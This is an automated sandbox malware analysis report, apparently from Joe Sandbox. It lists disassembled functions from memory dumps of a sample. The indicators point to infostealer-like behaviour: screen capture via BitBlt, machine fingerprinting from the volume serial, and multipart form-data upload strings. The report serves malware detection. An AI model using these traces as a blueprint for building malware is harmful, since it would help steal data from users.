Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID: $\??\$kernel32.dll$ntdll.dll
API String ID: 1475610065-3837677799
Opcode ID: 21553468eb1adf6b14f3215f71d57355ab8bf495995079b7341c515c0cf48ce8
Instruction ID: 3ac14dcbb4011b352018b463549f6b7f23009b89120af87786405f60a6104005
Opcode Fuzzy Hash: 21553468eb1adf6b14f3215f71d57355ab8bf495995079b7341c515c0cf48ce8
Instruction Fuzzy Hash: 367117B05193009FD344DF78C59575ABBE1BF84318F018A2EF5A99B3D0D7B9C9448B86

Uniqueness

Uniqueness Score: -1.00%

Function 0042DC60 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042DC91
_strlen.LIBCMT ref: 0042DCA5
_strlen.LIBCMT ref: 0042DCD3
_strlen.LIBCMT ref: 0042DCE7
_strlen.LIBCMT ref: 0042DD0F
_strlen.LIBCMT ref: 0042DD23

Strings

Content-Disposition: form-data; name=", xrefs: 0042DCB5
be85de5ipdocierre1, xrefs: 0042DC6C

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$be85de5ipdocierre1
API String ID: 4218353326-1518758108
Opcode ID: 93a8427f2496bfc7d98a57624f4502e1a5ea183b2df7b31c3c830e78d18af398
Instruction ID: 7f25064f402118b0d88777bd8cdfa075e19a874fd3bb4cd2f03d148e3077300b
Opcode Fuzzy Hash: 93a8427f2496bfc7d98a57624f4502e1a5ea183b2df7b31c3c830e78d18af398
Instruction Fuzzy Hash: 8E2151F69002256FE712AB15EC86E967798AF1631CF050069FD0957307F239B618C6A7

Uniqueness

Uniqueness Score: -1.00%

Function 00B66F97 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 40windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 00B66FA0
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00B66FB1
SelectObject.GDI32(00000000,00000000), ref: 00B66FBB
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00B66FDA
SelectObject.GDI32(00000000,00000000), ref: 00B66FE2
DeleteDC.GDI32(00000000), ref: 00B66FE9
DeleteObject.GDI32(00000000), ref: 00B66FF0

Strings

n6Gn6G, xrefs: 00B66F98

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelect$Bitmap
String ID: n6Gn6G
API String ID: 1142853709-2289254727
Opcode ID: ae572cf5a0ae35cec1e2bae0cdac9ffcd52373e510ad861f55c1d0c4f2eebf46
Instruction ID: fe21a4b2581e19e44fbed69c96cc8727b041a43c0fa0d3e74c9f1ccaa1ae0c73
Opcode Fuzzy Hash: ae572cf5a0ae35cec1e2bae0cdac9ffcd52373e510ad861f55c1d0c4f2eebf46
Instruction Fuzzy Hash: 39F0303A201314BFE3111BA2EC08F6F7AECEB8D755F140428FE4592251E6B569428F6B

Uniqueness

Uniqueness Score: -1.00%

Function 00B8325C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B8337B
CatchIt.LIBVCRUNTIME ref: 00B834DA
_UnwindNestedFrames.LIBCMT ref: 00B835DB
CallUnexpected.LIBVCRUNTIME ref: 00B835F6

Strings

csm, xrefs: 00B83306
csm, xrefs: 00B83299
csm, xrefs: 00B833B2

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2332921423-393685449
Opcode ID: b30946a69911e8fadd1a774d9b8a149072ceb5c8761d48c8bdc30c28ca1e1db6
Instruction ID: 59894e5ac8248127366877208c61da44f55da29c414e175e336753abd27b4271
Opcode Fuzzy Hash: b30946a69911e8fadd1a774d9b8a149072ceb5c8761d48c8bdc30c28ca1e1db6
Instruction Fuzzy Hash: 2AB15971800209EFCF25EFA4D8819AEBBF5FF14B10B1481DAE8156B222DB35DB51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF5 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00463114
CatchIt.LIBVCRUNTIME ref: 00463273
_UnwindNestedFrames.LIBCMT ref: 00463374
CallUnexpected.LIBVCRUNTIME ref: 0046338F

Strings

csm, xrefs: 0046309F
csm, xrefs: 0046314B
csm, xrefs: 00463032

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2332921423-393685449
Opcode ID: b30946a69911e8fadd1a774d9b8a149072ceb5c8761d48c8bdc30c28ca1e1db6
Instruction ID: b51839f7e4a8bdefad968f9f4a9104333266fae68d6cb54b5d5141bd3acecf9e
Opcode Fuzzy Hash: b30946a69911e8fadd1a774d9b8a149072ceb5c8761d48c8bdc30c28ca1e1db6
Instruction Fuzzy Hash: 65B17971800289EFCF14DFA5C8819AEBBB5FF04316B14416BE8116B312E739DA55CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B0D7 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 262stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A937: lstrcatW.KERNEL32 ref: 00B2AA10
Part of subcall function 00B2A937: lstrcatW.KERNEL32 ref: 00B2AA28
Part of subcall function 00B2A937: lstrlenW.KERNEL32 ref: 00B2AA38
Part of subcall function 00B2A937: lstrlenW.KERNEL32 ref: 00B2AA52

lstrcatW.KERNEL32 ref: 00B2B278
lstrcatW.KERNEL32 ref: 00B2B292
lstrcatW.KERNEL32 ref: 00B2B2AA

Part of subcall function 00B7393C: _free.LIBCMT ref: 00B7394F

Strings

kernel32.dll, xrefs: 00B2B119

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$_free
String ID: kernel32.dll
API String ID: 267522910-1793498882
Opcode ID: a1a53860bb89389f52df0e8e1dbb23c596c5a87d86e59559108181e44d46b811
Instruction ID: d62960d95bfc91db97663aa5912e47b71899404226d2b19c66efebd47ebba343
Opcode Fuzzy Hash: a1a53860bb89389f52df0e8e1dbb23c596c5a87d86e59559108181e44d46b811
Instruction Fuzzy Hash: CBC1BCB4508351DFC714EF28D594A2EBBE0BB88704F10896EF9DA87390DB74D984DB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE70 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 262stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A6D0: lstrcatW.KERNEL32 ref: 0040A7A9
Part of subcall function 0040A6D0: lstrcatW.KERNEL32 ref: 0040A7C1
Part of subcall function 0040A6D0: lstrlenW.KERNEL32 ref: 0040A7D1
Part of subcall function 0040A6D0: lstrlenW.KERNEL32 ref: 0040A7EB

lstrcatW.KERNEL32 ref: 0040B011
lstrcatW.KERNEL32 ref: 0040B02B
lstrcatW.KERNEL32 ref: 0040B043

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

Strings

kernel32.dll, xrefs: 0040AEB2

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$_free
String ID: kernel32.dll
API String ID: 267522910-1793498882
Opcode ID: 3ece9cb95abcdfc7bbbd61171e149a3236bbdfeb60cfefe7ae79d4394780bdb2
Instruction ID: 3b7baa7e99fd23d7f610b94866881f3ea2191ffeef54eb6586dfafe7cd2ec25e
Opcode Fuzzy Hash: 3ece9cb95abcdfc7bbbd61171e149a3236bbdfeb60cfefe7ae79d4394780bdb2
Instruction Fuzzy Hash: 5DC1BCB4508341DFC314EF29D194A2EBBE0FB88354F10892EF9D997390D77899498B8B

Uniqueness

Uniqueness Score: -1.00%

Function 00B63347 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00B63391
GetVolumeInformationW.KERNEL32 ref: 00B63427
wsprintfW.USER32 ref: 00B634ED

Strings

:, xrefs: 00B633C9
\, xrefs: 00B633D0
l2%08x%08x%04x%xu, xrefs: 00B634D0
C, xrefs: 00B633B3

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: :$C$\$l2%08x%08x%04x%xu
API String ID: 3001812590-1811320126
Opcode ID: 9817c21724c587b0afa209d2e1db3b5fcceef715b96ef7a25158552d04fe4dbd
Instruction ID: be51050f85410df640132b246ca1ecc34a4452735b54ed76df1107ac0e91c8b6
Opcode Fuzzy Hash: 9817c21724c587b0afa209d2e1db3b5fcceef715b96ef7a25158552d04fe4dbd
Instruction Fuzzy Hash: 8641C0744083449BD304DF65D08466EBBE0FF88B08F119A6EE0C996350EB79C648DB8B

Uniqueness

Uniqueness Score: -1.00%

Function 004430E0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 0044312A
GetVolumeInformationW.KERNEL32 ref: 004431C0
wsprintfW.USER32 ref: 00443286

Strings

:, xrefs: 00443162
l2%08x%08x%04x%xu, xrefs: 00443269
\, xrefs: 00443169
C, xrefs: 0044314C

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: :$C$\$l2%08x%08x%04x%xu
API String ID: 3001812590-1811320126
Opcode ID: 9817c21724c587b0afa209d2e1db3b5fcceef715b96ef7a25158552d04fe4dbd
Instruction ID: 28dbd692d3cc47102d582ee7f73f727626154390e12d423dcd39408953e7ff68
Opcode Fuzzy Hash: 9817c21724c587b0afa209d2e1db3b5fcceef715b96ef7a25158552d04fe4dbd
Instruction Fuzzy Hash: 1141D1744093409BE304DF65C09875EBBE0FF88B09F108A2EE4C997250E779C649CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 00B4DEC7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B4DEF8
_strlen.LIBCMT ref: 00B4DF0C
_strlen.LIBCMT ref: 00B4DF3A
_strlen.LIBCMT ref: 00B4DF4E
_strlen.LIBCMT ref: 00B4DF76
_strlen.LIBCMT ref: 00B4DF8A

Strings

be85de5ipdocierre1, xrefs: 00B4DED3

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: be85de5ipdocierre1
API String ID: 4218353326-3149385277
Opcode ID: 93a8427f2496bfc7d98a57624f4502e1a5ea183b2df7b31c3c830e78d18af398
Instruction ID: c26993daa7a432e4886b2551d5721c9ad3818280c2b070ae67e6f8cb92b551a8
Opcode Fuzzy Hash: 93a8427f2496bfc7d98a57624f4502e1a5ea183b2df7b31c3c830e78d18af398
Instruction Fuzzy Hash: 7E2141F2940625AFD711EB14DC82E9677E8EF16314B0A40A0F91997306E626B7198BA3

Uniqueness

Uniqueness Score: -1.00%

Function 00B7D98F Relevance: 12.2, APIs: 8, Instructions: 213COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B7DAA7

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0267e08bcb8efb6f2a3b612b530342d637268c0671d13db98d57c746878e9b82
Instruction ID: cc797fbb9c3b4ab1705a42c8b9e8dc47d49f1db3aeb4519009f55aa3a8f8ada7
Opcode Fuzzy Hash: 0267e08bcb8efb6f2a3b612b530342d637268c0671d13db98d57c746878e9b82
Instruction Fuzzy Hash: FC61D371900314AFCB25AF788892A6A77F4EF44390F56C5EDFA2D9B381EB7499408790

Uniqueness

Uniqueness Score: -1.00%

Function 0045D728 Relevance: 12.2, APIs: 8, Instructions: 213COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0045D840

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1c7cbe68585f4f297c9c9e11170d8dbce096f2d810f775d0b84bc22cafc668f4
Instruction ID: 90855c7258e63ef56c13327c589722816f589866683169620cc1ae4934025ad7
Opcode Fuzzy Hash: 1c7cbe68585f4f297c9c9e11170d8dbce096f2d810f775d0b84bc22cafc668f4
Instruction Fuzzy Hash: F66101B1D00201ABCB34AFA9888266A77A4AF05316F10456FFD1597387EB789908CB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00446400 Relevance: 12.1, APIs: 8, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 00446426
lstrcatW.KERNEL32(00000000,0046613A), ref: 0044642E
lstrcatW.KERNEL32(00000000,?), ref: 00446435
lstrcatW.KERNEL32(00000000,?), ref: 00446458
lstrcatW.KERNEL32(00000000,004660F0), ref: 00446460
lstrcatW.KERNEL32(00000000,?), ref: 00446466
lstrcatW.KERNEL32(00000000,004660F0), ref: 0044646E
lstrcatW.KERNEL32(00000000,?), ref: 00446475

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID:
API String ID: 1597172325-0
Opcode ID: a25315089ada5dec8efbb4fd9f9a515c7b0cf861b1b5891df05fba6440f47718
Instruction ID: fecc360b6c08f92aeef139d892da1f2261ec7a0f79b659c48fd1576fe9cd5c26
Opcode Fuzzy Hash: a25315089ada5dec8efbb4fd9f9a515c7b0cf861b1b5891df05fba6440f47718
Instruction Fuzzy Hash: ED11E2B29002007BD6013B62EC43F6F7A68EF8274DF05442DFA4855182EA6FD62453AB

Uniqueness

Uniqueness Score: -1.00%

Function 004580FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 00458167
api-ms-, xrefs: 00458153

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 3c686fdfcacc6ca3d632773b664e78a45cd3eb6b433fcfd89e6658f424fc9576
Instruction ID: c013d61fe45823e3891acd8a46f3d78bc3cb1e701de058368800b748dcfb0377
Opcode Fuzzy Hash: 3c686fdfcacc6ca3d632773b664e78a45cd3eb6b433fcfd89e6658f424fc9576
Instruction Fuzzy Hash: 39210E31A01A10ABD7314B25CC45A6B37585F417A2F15022AEC05B7382EF78DD07C7EA

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C453 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B7C537: _free.LIBCMT ref: 00B7C55C

_free.LIBCMT ref: 00B7C4A1

Part of subcall function 00B79559: HeapFree.KERNEL32(00000000,00000000,?,00B72427), ref: 00B7956F
Part of subcall function 00B79559: GetLastError.KERNEL32(?,?,00B72427), ref: 00B79581

_free.LIBCMT ref: 00B7C4AC
_free.LIBCMT ref: 00B7C4B7
_free.LIBCMT ref: 00B7C50B
_free.LIBCMT ref: 00B7C516
_free.LIBCMT ref: 00B7C521
_free.LIBCMT ref: 00B7C52C

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d307f4e978f0b65d352ecdb58d7d85ae3a1c7ba1e773c1c73a23fdb23ce367dd
Instruction ID: 45b76a46bed8a5c5c15fe6ec955e6aed9d9733a6bc758d06f98e0d1656da7725
Opcode Fuzzy Hash: d307f4e978f0b65d352ecdb58d7d85ae3a1c7ba1e773c1c73a23fdb23ce367dd
Instruction Fuzzy Hash: EA117F31940B04AAD721B7B0DD07FCFBBDD9F21744F80889CB2AD66052DB6AB6045650

Uniqueness

Uniqueness Score: -1.00%

Function 0045C1EC Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045C2D0: _free.LIBCMT ref: 0045C2F5

_free.LIBCMT ref: 0045C23A

Part of subcall function 004592F2: HeapFree.KERNEL32(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 0045C245
_free.LIBCMT ref: 0045C250
_free.LIBCMT ref: 0045C2A4
_free.LIBCMT ref: 0045C2AF
_free.LIBCMT ref: 0045C2BA
_free.LIBCMT ref: 0045C2C5

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d164b0b78da03c00ad40bd89565399c3cde5271e9215c4906fabfbff84f000e5
Instruction ID: 9a780a9572fe4ad1dfc4ee1259cd4877ece743dacc87803e0c4d2e0a46dcee5a
Opcode Fuzzy Hash: d164b0b78da03c00ad40bd89565399c3cde5271e9215c4906fabfbff84f000e5
Instruction Fuzzy Hash: B4117531980704FAD520BBB1CC87FC7779D9F01705F804C5EFA99A60A3DA2CB909CA56

Uniqueness

Uniqueness Score: -1.00%

Function 00446D30 Relevance: 10.5, APIs: 7, Instructions: 40windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 00446D39
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00446D4A
SelectObject.GDI32(00000000,00000000), ref: 00446D54
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00446D73
SelectObject.GDI32(00000000,00000000), ref: 00446D7B
DeleteDC.GDI32(00000000), ref: 00446D82
DeleteObject.GDI32(00000000), ref: 00446D89

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelect$Bitmap
String ID:
API String ID: 1142853709-0
Opcode ID: ae572cf5a0ae35cec1e2bae0cdac9ffcd52373e510ad861f55c1d0c4f2eebf46
Instruction ID: fe21a4b2581e19e44fbed69c96cc8727b041a43c0fa0d3e74c9f1ccaa1ae0c73
Opcode Fuzzy Hash: ae572cf5a0ae35cec1e2bae0cdac9ffcd52373e510ad861f55c1d0c4f2eebf46
Instruction Fuzzy Hash: 39F0303A201314BFE3111BA2EC08F6F7AECEB8D755F140428FE4592251E6B569428F6B

Uniqueness

Uniqueness Score: -1.00%

Function 00B72A80 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00B72C13
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B72C2F
__allrem.LIBCMT ref: 00B72C46
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B72C64
__allrem.LIBCMT ref: 00B72C7B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B72C99

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c51c904491075d54a2d5dfff48acd581debe90bfce021b414cf1b7e8479a4ead
Instruction ID: 7eb29c851b95d5e6e8330a2a3f2d84ef66e402036a0db6c552dcf4788f2984b0
Opcode Fuzzy Hash: c51c904491075d54a2d5dfff48acd581debe90bfce021b414cf1b7e8479a4ead
Instruction Fuzzy Hash: C381C3726007069BE735AF78CC82B6A73E9EF54360F24C6A9F539D62D1EB74D9008750

Uniqueness

Uniqueness Score: -1.00%

Function 00452819 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 004529AC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004529C8
__allrem.LIBCMT ref: 004529DF
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004529FD
__allrem.LIBCMT ref: 00452A14
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00452A32

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: f01d19ea84957fe75c78861afd125ca81d4ecfbc102e4ab917c9034433d19e5f
Instruction ID: 4eada4e37829d0d11d051d91a5b5b0b0118865e3e2cbcfacfd962258fbb19030
Opcode Fuzzy Hash: f01d19ea84957fe75c78861afd125ca81d4ecfbc102e4ab917c9034433d19e5f
Instruction Fuzzy Hash: 2181C571A00706ABD724AE69CD42B5B73A9AF46326F14462FFC11D7383E7B8DD088758

Uniqueness

Uniqueness Score: -1.00%

Function 00B266F7 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00B2675C

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 61815d9cb56a5aaa74772e79ff51dd172595a19671251caf4b897ee87283e0d2
Instruction ID: d0ef16734c10aa0bc5ce36158c778fe674e3456119ac45e01de5633e20b2ce4e
Opcode Fuzzy Hash: 61815d9cb56a5aaa74772e79ff51dd172595a19671251caf4b897ee87283e0d2
Instruction Fuzzy Hash: D551CEB05083418FD700EF29D58875EBBE0BB88318F408A6DF4D99B290D7B9D9898F47

Uniqueness

Uniqueness Score: -1.00%

Function 00B77C02 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B77BF9,00B6C5A8,00B6C108), ref: 00B77C10
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B77C1E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B77C37
SetLastError.KERNEL32(00000000,00B77BF9,00B6C5A8,00B6C108), ref: 00B77C89

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 373768cdce03c29398504cb81241f5faa90ef1c5852cc5e1ad7a46ce6d0d37ec
Instruction ID: b5ed1e5556718151f3aed628716c1b10726e1889846359f94ff0b935fdd33cc7
Opcode Fuzzy Hash: 373768cdce03c29398504cb81241f5faa90ef1c5852cc5e1ad7a46ce6d0d37ec
Instruction Fuzzy Hash: C7014C3254D722ADA6262BB8BD865272BD8DB1577633043F9F53C501F2EE514D40B28D

Uniqueness

Uniqueness Score: -1.00%

Function 0045799B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00457992,0044C341,0044BEA1), ref: 004579A9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004579B7
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004579D0
SetLastError.KERNEL32(00000000,00457992,0044C341,0044BEA1), ref: 00457A22

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 19404516309889a8602586f8e57432b7547e3fc1393c90f918c3d9250cf47736
Instruction ID: f361662ed9f4dedd8724d749a46271a23bc3a35071b960159991e5148529a01e
Opcode Fuzzy Hash: 19404516309889a8602586f8e57432b7547e3fc1393c90f918c3d9250cf47736
Instruction Fuzzy Hash: 51012D7220D7216EE6142ABA7C8645F6645C70137B320023FFD14812F3EF190D4DA15D

Uniqueness

Uniqueness Score: -1.00%

Function 00451538 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004515C2,?,?,00451662,?,?,&7E), ref: 0045154D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00451560
FreeLibrary.KERNEL32(00000000,?,?,004515C2,?,?,00451662,?,?,&7E), ref: 00451583

Strings

CorExitProcess, xrefs: 00451558
mscoree.dll, xrefs: 00451546

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6fd68901d4acfd24ddef389290077d55469c5946600a8a4948876d5f4ae5159c
Instruction ID: ebe76605780ada1e792c9d411d6468d167b3f6365b2cf374d8c8ae4dbc0483cb
Opcode Fuzzy Hash: 6fd68901d4acfd24ddef389290077d55469c5946600a8a4948876d5f4ae5159c
Instruction Fuzzy Hash: 93F08234900219FBDB119B51DD0AB9E7BB9EB44756F104066F802A1161FFB49F04DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C3EA Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B7C402

Part of subcall function 00B79559: HeapFree.KERNEL32(00000000,00000000,?,00B72427), ref: 00B7956F
Part of subcall function 00B79559: GetLastError.KERNEL32(?,?,00B72427), ref: 00B79581

_free.LIBCMT ref: 00B7C414
_free.LIBCMT ref: 00B7C426
_free.LIBCMT ref: 00B7C438
_free.LIBCMT ref: 00B7C44A

Memory Dump Source

